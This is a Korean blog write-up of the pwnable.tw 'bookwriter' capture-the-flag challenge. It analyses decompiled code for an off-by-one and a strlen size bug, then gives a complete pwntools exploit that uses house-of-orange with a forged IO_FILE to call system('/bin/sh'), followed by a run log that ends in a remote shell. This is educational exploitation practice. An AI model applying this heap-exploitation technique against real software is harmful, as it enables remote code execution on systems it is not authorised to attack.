본문으로 바로가기

Pwnable.tw bookwriter ( 350 pts )

Summary

  • off by one

  • house of orange

처음 풀어보는 오렌지 문제였습니다. 오렌지 꿀잼.


Analysis

main()

void __fastcall main(__int64 a1, char **a2, char **a3)
{
 setvbuf(stdout, 0LL, 2, 0LL);
 puts("Welcome to the BookWriter !");
 input_author();
 while ( 1 )
{
   menu();
   switch ( read_int() )
  {
     case 1LL:
       add();
       break;
     case 2LL:
       view();
       break;
     case 3LL:
       edit();
       break;
     case 4LL:
       information();
       break;
     case 5LL:
       exit(0);
       return;
     default:
       puts("Invalid choice");
       break;
  }
}
}

add,view,edit,information 이렇게 4개의 기능이 존재합니다. delete는 없네요.

시작할 때 input_author라는 함수를 실행합니다.


input_author()

__int64 input_author()
{
 printf("Author :");
 return read_str(&author, 0x40u);
}

author는 전역변수로, 크기는 0x40입니다.

해당 변수에 0x40만큼 꽉 채워서 입력하면, 아래 존재하는 global_ptr까지 닿을 수 있습니다.

따라서, heap_leak이 가능합니다.


add()

int add()
{
 unsigned int index; // [rsp+Ch] [rbp-14h]
 char *ptr; // [rsp+10h] [rbp-10h]
 __int64 size; // [rsp+18h] [rbp-8h]

 for ( index = 0; ; ++index )
{
   if ( index > 8 )
     return puts("You can't add new page anymore!");
   if ( !global_ptr[index] )
     break;
}

 printf("Size of page :");
 size = read_int();
 ptr = malloc(size);
 if ( !ptr )
{
   puts("Error !");
   exit(0);
}
 printf("Content :");
 read_str(ptr, size);
 global_ptr[index] = ptr;
 global_size[index] = size;
 ++page;
 return puts("Done !");
}

malloc()을 해주는 부분입니다.

취약점은 for(index = 0; ; ++index)에 있습니다.

할당할때 0부터 7까지여야 하는데 off by one이 발생합니다.

따라서, 그 아래있는 global_size의 0번 인덱스를 덮을 수 있습니다.

즉, 사이즈에 힙 주소가 들어가 heap overflow가 발생합니다.


edit()

int edit()
{
 unsigned int index; // [rsp+Ch] [rbp-4h]

 printf("Index of page :");
 index = read_int();
 if ( index > 7 )
{
   puts("out of page:");
   exit(0);
}
 if ( !global_ptr[index] )
   return puts("Not found !");
 printf("Content:");
 read_str(global_ptr[index], global_size[index]);
 global_size[index] = strlen(global_ptr[index]);
 return puts("Done !");
}

edit입니다.

원래 사이즈만큼 수정하고, global_size[index]에 값을 다시 지정합니다.

여기서 strlen을 사용하므로 top_chunk를 덮을 수 있습니다.

힙이 아래와 같이 있다고 생각해봅시다.

gdb-peda$ x/40gx 0xa5f000
0xa5f000: 0x0000000000000000 0x0000000000000021
0xa5f010: 0x4242424242424242 0x4242424242424242
0xa5f020: 0x4242424242424242 0x0000000000020fe1

원래라면 사이즈는 0x18이여야 합니다.

하지만 strlen을 사용하므로 0x20fe1부분까지 size로 인식해버립니다.


따라서, 사이즈는 0x18 + 0x30x1b가 됩니다.

이제 top_chunk도 덮어서 언솔빈도 만들고 릭도 되고 힙오버도 되므로 오렌지 하면 됩니당.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./bookwriter"
e = ELF(binary)
libc = ELF("./libc.so.6")
r = remote("chall.pwnable.tw",10304)

r.sendafter("Author :","X"*0x40)

def add(size,content):
r.sendafter("Your choice :","1")
r.sendafter("Size of page :",str(size))
r.sendafter("Content :",content)

def view(index):
r.sendafter("Your choice :","2")
r.sendafter("Index of page :",str(index))

def edit(index,content):
r.sendafter("Your choice :","3")
r.sendafter("Index of page :",str(index))
r.sendafter("Content:",content)

def heap_leak():
r.sendafter("Your choice :","4")
r.recvuntil("X"*0x40)
heap = u64(r.recvuntil("\n")[:-1].ljust(0x8,"\x00"))
r.sendlineafter("(yes:1 / no:0) ",str(0))
return heap

def libc_leak():
view(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c3b20 + 1640
return libc_base

num = 0x18

add(num,"A"*num)

edit(0,"B"*num)
edit(0,"B"*num + p32(0xfe1))

add(0x1000,"C"*num)
add(0x10,"D"*8)
log.success("Free top chunk, top chunk = unsorted bin")

heap = heap_leak() - 0x10
libc_base = libc_leak()
IO_list_all = libc_base + libc.symbols["_IO_list_all"]
system = libc_base + libc.symbols["system"]
log.info("heap : " + hex(heap))
log.info("libc_base : " + hex(libc_base))
log.info("IO_list_all : " + hex(IO_list_all))
log.info("system : " + hex(system))

for i in range(8 - 3):
add(num,"X"*num)

edit(0,"\x00")
add(num,"DDDD")
log.success("Off by one trigger")

payload = ""
payload += "A" * 24 + p64(0x21)
payload = payload * 7 + "A" * 0x10

IO_file = ""
IO_file += "/bin/sh\x00" + p64(0x61) # prev_size, size
IO_file += "A"* 8 + p64(IO_list_all - 0x10) # fd, bk
IO_file += p64(0) # write base
IO_file += p64(1) # write ptr
IO_file = IO_file.ljust(0xc0,"\x00")
IO_file += p64(0) # mode
IO_file = IO_file.ljust(0xd8,"\x00")
IO_file += p64(heap + 0x1e0)

IO_jump = "\x00" * 0x18
IO_jump += p64(system)

payload += IO_file
payload += IO_jump

edit(0,payload)
edit(0,"\x00")

#r.sendafter("Your choice :","1")
#r.sendafter("Size of page :","32")

r.interactive()

적당적당히 디버깅 하면서 값들 짜맞춰줬습니다.

특히 립시주소 들어가있길래 언솔빈인줄 알았는데 알고보니까 언솔빈 아니여서 거기서 삽질했습니당.


Flag

juntae@ubuntu:~/wargame/pwnable.tw/bookwriter$ p remote.py 
[*] '/home/juntae/wargame/pwnable.tw/bookwriter/bookwriter'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
  FORTIFY: Enabled
[*] '/home/juntae/wargame/pwnable.tw/bookwriter/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10304: Done
[+] Free top chunk, top chunk = unsorted bin
[*] heap : 0x9f6000
[*] libc_base : 0x7fe19f1ad000
[*] IO_list_all : 0x7fe19f571520
[*] system : 0x7fe19f1f2390
[+] Off by one trigger
[*] Switching to interactive mode
Done !
----------------------
    BookWriter      
----------------------
1. Add a page        
2. View a page      
3. Edit a page      
4. Information      
5. Exit              
----------------------
Your choice :$ 1
Size of page :$ 32
$ id
uid=1000(bookwriter) gid=1000(bookwriter) groups=1000(bookwriter)

폰따완 재밌엉